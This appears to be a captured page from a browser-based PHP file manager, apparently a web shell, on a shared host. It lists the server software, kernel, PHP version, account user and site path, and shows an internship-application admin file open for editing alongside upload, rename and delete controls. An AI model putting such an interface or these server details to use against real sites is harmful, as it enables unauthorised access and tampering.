Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/hifi11.in/public_html/ems/admin

Free Space:

10.26 TB

🔧 Quick Actions

✏️ Editing: view-applications.php

<?php
include('config/db.php');

// Handle status update
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['update_status'])) {
    $application_id = intval($_POST['application_id']);
    $new_status = $_POST['status'];
    if (in_array($new_status, ['accepted', 'rejected'])) {
        $update_query = "UPDATE applications SET status = ? WHERE id = ?";
        $stmt = mysqli_prepare($conn, $update_query);
        mysqli_stmt_bind_param($stmt, 'si', $new_status, $application_id);
        if (mysqli_stmt_execute($stmt)) {
            echo '<div class="alert alert-success">Status updated successfully!</div>';
        } else {
            echo '<div class="alert alert-danger">Error updating status: ' . mysqli_error($conn) . '</div>';
        }
        mysqli_stmt_close($stmt);
    }
}

// Handle individual application view
$view_application = null;
if (isset($_GET['view']) && is_numeric($_GET['view'])) {
    $application_id = intval($_GET['view']);
    $view_query = "SELECT * FROM applications WHERE id = $application_id";
    $view_result = mysqli_query($conn, $view_query) or die(mysqli_error($conn));
    if (mysqli_num_rows($view_result) > 0) {
        $view_application = mysqli_fetch_assoc($view_result);
    }
}

// Fetch all applications for the table
$applications_query = "SELECT id, fullname, email, university, domain, applied_at, status FROM applications ORDER BY applied_at DESC";
$applications_result = mysqli_query($conn, $applications_query) or die(mysqli_error($conn));
?>

<!doctype html>
<html lang="en">
<head>
    <title>Admin | View Applications</title>
    <?php include('links/head.php'); ?>
    
    <link href="assets/libs/datatables.net-bs4/css/dataTables.bootstrap4.min.css" rel="stylesheet" type="text/css" />
    <link href="assets/libs/datatables.net-responsive-bs4/css/responsive.bootstrap4.min.css" rel="stylesheet" type="text/css" />
</head>
<body data-sidebar="dark">
    <div id="preloader">
        <div id="status">
            <div class="spinner"></div>
        </div>
    </div>

<?php if ($view_application): ?>
                        
                        <div class="row">
                            <div class="col-12">
                                <div class="card">
                                    <div class="card-body">
                                        <h4 class="card-title mb-4">Application Details - <?php echo htmlspecialchars($view_application['fullname']); ?></h4>
                                        <table class="table table-bordered">
                                            <tbody>
                                                <tr><th>Name</th><td><?php echo htmlspecialchars($view_application['fullname']); ?></td></tr>
                                                <tr><th>Email</th><td><?php echo htmlspecialchars($view_application['email']); ?></td></tr>
                                                <tr><th>Phone</th><td><?php echo htmlspecialchars($view_application['phone']); ?></td></tr>
                                                <tr><th>University</th><td><?php echo htmlspecialchars($view_application['university']); ?></td></tr>
                                                <tr><th>Course</th><td><?php echo htmlspecialchars($view_application['course']); ?></td></tr>
                                                <tr><th>Year</th><td><?php echo htmlspecialchars($view_application['year']); ?></td></tr>
                                                <tr><th>Domain</th><td><?php echo htmlspecialchars($view_application['domain']); ?></td></tr>
                                                <tr><th>Skills</th><td><?php echo htmlspecialchars($view_application['skills']); ?></td></tr>
                                                <tr><th>Projects</th><td><?php echo htmlspecialchars($view_application['projects'] ?: 'None'); ?></td></tr>
                                                <tr><th>Duration</th><td><?php echo htmlspecialchars($view_application['duration']); ?> months</td></tr>
                                                <tr><th>Applied At</th><td><?php echo date('d M Y, H:i', strtotime($view_application['applied_at'])); ?></td></tr>
                                                <tr>
                                                    <th>Status</th>
                                                    <td>
                                                        <span class="badge <?php
                                                            echo $view_application['status'] == 'accepted' ? 'bg-success' :
                                                                 ($view_application['status'] == 'rejected' ? 'bg-danger' :
                                                                 ($view_application['status'] == 'reviewed' ? 'bg-info' : 'bg-warning'));
                                                        ?>">
                                                            <?php echo ucfirst($view_application['status']); ?>
                                                        </span>
                                                    </td>
                                                </tr>
                                            </tbody>
                                        </table>
                                        <div class="mt-3">
                                            <a href="view-applications.php" class="btn btn-secondary waves-effect">Back to All Applications</a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php else: ?>
                        
                        <div class="row">
                            <div class="col-12">
                                <div class="card">
                                    <div class="card-body">
                                        <h4 class="card-title mb-4">All Internship Applications</h4>
                                        <table id="applications-table" class="table table-bordered" style="width:100%">
                                            <thead>
                                                <tr>
                                                    <th>Name</th>
                                                    <th>Email</th>
                                                    <th>University</th>
                                                    <th>Domain</th>
                                                    <th>Applied At</th>
                                                    <th>Status</th>
                                                    <th>Action</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <?php while ($app = mysqli_fetch_assoc($applications_result)): ?>
                                                    <tr>
                                                        <td><?php echo htmlspecialchars($app['fullname']); ?></td>
                                                        <td><?php echo htmlspecialchars($app['email']); ?></td>
                                                        <td><?php echo htmlspecialchars($app['university']); ?></td>
                                                        <td><?php echo htmlspecialchars($app['domain']); ?></td>
                                                        <td><?php echo date('d M Y', strtotime($app['applied_at'])); ?></td>
                                                        <td>
                                                            <span class="badge <?php
                                                                echo $app['status'] == 'accepted' ? 'bg-success' :
                                                                     ($app['status'] == 'rejected' ? 'bg-danger' :
                                                                     ($app['status'] == 'reviewed' ? 'bg-info' : 'bg-warning'));
                                                            ?>">
                                                                <?php echo ucfirst($app['status']); ?>
                                                            </span>
                                                        </td>
                                                        <td>
                                                            <a href="view-applications.php?view=<?php echo $app['id']; ?>" class="btn btn-secondary btn-sm waves-effect">View</a>
                                                            <button class="btn btn-primary btn-sm waves-effect" data-bs-toggle="modal" data-bs-target="#editStatusModal<?php echo $app['id']; ?>">Edit</button>
                                                        </td>
                                                    </tr>
                                                    
                                                    <div class="modal fade" id="editStatusModal<?php echo $app['id']; ?>" tabindex="-1" aria-labelledby="editStatusModalLabel<?php echo $app['id']; ?>" aria-hidden="true">
                                                        <div class="modal-dialog">
                                                            <div class="modal-content">
                                                                <div class="modal-header">
                                                                    <h5 class="modal-title" id="editStatusModalLabel<?php echo $app['id']; ?>">Update Status - <?php echo htmlspecialchars($app['fullname']); ?></h5>
                                                                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                                                                </div>
                                                                <form method="POST" action="view-applications.php">
                                                                    <div class="modal-body">
                                                                        <input type="hidden" name="application_id" value="<?php echo $app['id']; ?>">
                                                                        <div class="mb-3">
                                                                            <label for="status<?php echo $app['id']; ?>" class="form-label">Status</label>
                                                                            <select class="form-select" id="status<?php echo $app['id']; ?>" name="status" required>
                                                                                <option value="accepted" <?php echo $app['status'] == 'accepted' ? 'selected' : ''; ?>>Accepted</option>
                                                                                <option value="rejected" <?php echo $app['status'] == 'rejected' ? 'selected' : ''; ?>>Rejected</option>
                                                                            </select>
                                                                        </div>
                                                                    </div>
                                                                    <div class="modal-footer">
                                                                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                                                                        <button type="submit" name="update_status" class="btn btn-primary">Update Status</button>
                                                                    </div>
                                                                </form>
                                                            </div>
                                                        </div>
                                                    </div>
                                                <?php endwhile; ?>
                                            </tbody>
                                        </table>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php endif; ?>

</div> 
            </div>

<?php include('includes/footer.php'); ?>
        </div> 
    </div>

<?php include('includes/rightbar.php'); ?>
    <div class="rightbar-overlay"></div>

<?php include('links/scripts.php'); ?>
    
    <script src="assets/libs/datatables.net/js/jquery.dataTables.min.js"></script>
    <script src="assets/libs/datatables.net-bs4/js/dataTables.bootstrap4.min.js"></script>
    <script src="assets/libs/datatables.net-responsive/js/dataTables.responsive.min.js"></script>
    <script src="assets/libs/datatables.net-responsive-bs4/js/responsive.bootstrap4.min.js"></script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: view-applications.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation